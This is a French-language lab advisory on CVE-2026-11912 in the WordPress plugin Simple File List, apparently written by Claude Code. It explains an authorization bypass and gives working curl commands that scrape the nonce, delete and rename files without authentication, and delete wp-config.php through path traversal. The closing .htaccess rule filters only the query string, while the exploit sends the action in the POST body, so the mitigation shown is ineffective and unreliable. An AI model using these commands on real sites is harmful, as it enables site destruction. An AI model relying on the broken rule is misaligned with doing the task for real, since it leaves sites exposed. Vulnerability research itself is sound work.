
Absence d'autorisation menant à une modification de fichier non authentifiée
| Champ | Valeur |
|---|
| ID CVE | CVE-2026-11912 |
| Score CVSS | 7.5 (Élevé) |
| Vecteur CVSS | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N |
| Plugin concerné | Simple File List |
| Versions affectées | <= 6.3.7 |
| Version corrigée | 6.3.8 |
| Date de publication | 19 juin 2026 |
| Chercheur | Chloe Chamberland - Wordfence |
| Environnement de laboratoire | poloss-lab.ddev.site (DDEV) |
Le plugin Simple File List pour WordPress est vulnérable à une modification arbitraire de fichiers en raison de vérifications d'autorisation insuffisantes dans toutes les versions jusqu'à la version 6.3.7 incluse. Cela permet à des attaquants non authentifiés de supprimer et de modifier des fichiers sur le serveur.
La vulnérabilité existe pour les raisons suivantes :
Enregistrement du point de terminaison AJAX : L'action AJAX simplefilelist_edit_job est enregistrée avec les hooks wp_ajax_ et wp_ajax_nopriv_, permettant un accès non authentifié :
add_action('wp_ajax_simplefilelist_edit_job', 'simplefilelist_edit_job');
add_action('wp_ajax_nopriv_simplefilelist_edit_job', 'simplefilelist_edit_job');
Vérification d'autorisation défaillante : La logique d'autorisation dans eeSFL_FileEditor() (ligne 1265) utilise :
if(!is_admin() AND $eeSFL->eeListSettings['AllowFrontManage'] != 'YES') {
return;
}
La fonction is_admin() retourne FALSE pour les requêtes AJAX, ce qui court-circuite la vérification d'autorisation avant que le paramètre AllowFrontManage ne soit évalué.
Exposition du nonce : Le nonce de sécurité (eeSFL_ActionNonce) est généré avec wp_create_nonce() et exposé dans le code source HTML du frontal, permettant aux attaquants de l'extraire sans authentification.
Lors des tests, cette vulnérabilité a été exploitée avec succès pour SUPPRIMER le fichier de configuration WordPress (wp-config.php), cassant complètement le site. Cela démontre la gravité critique de l'aspect traversement de chemin de cette vulnérabilité.
# Get the security nonce from the file list page
curl -k -sL "https://poloss-lab.ddev.site/file-list/" | grep -o 'eeSFL_ActionNonce">[^<]*'
# Output: eeSFL_ActionNonce">1c14af78c2
curl -k -s "https://poloss-lab.ddev.site/wp-admin/admin-ajax.php" -X POST \
-d "action=simplefilelist_edit_job" \
-d "eeSecurity=1c14af78c2" \
-d "eeSFL_ID=1" \
-d "eeFileAction=Delete" \
-d "eeFileName=test.txt"
# Response: SUCCESS
curl -k -s "https://poloss-lab.ddev.site/wp-admin/admin-ajax.php" -X POST \
-d "action=simplefilelist_edit_job" \
-d "eeSecurity=1c14af78c2" \
-d "eeSFL_ID=1" \
-d "eeFileAction=Edit" \
-d "eeFileName=original.pdf" \
-d "eeFileNameNew=malicious.pdf"
# Response: SUCCESS
curl -k -s "https://poloss-lab.ddev.site/wp-admin/admin-ajax.php" -X POST \
-d "action=simplefilelist_edit_job" \
-d "eeSecurity=1c14af78c2" \
-d "eeSFL_ID=1" \
-d "eeFileAction=Delete" \
-d "eeFileName=../../wp-config.php"
# Response: SUCCESS (CRITICAL - This breaks the site!)
[eeSFL]# Block simplefilelist_edit_job AJAX calls
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteCond %{QUERY_STRING} action=simplefilelist_edit_job
RewriteRule ^wp-admin/admin-ajax\.php$ - [F,L]
</IfModule>
Rapport généré par Claude Code - Laboratoire de tests de sécurité WordPress Date : 20 juin 2026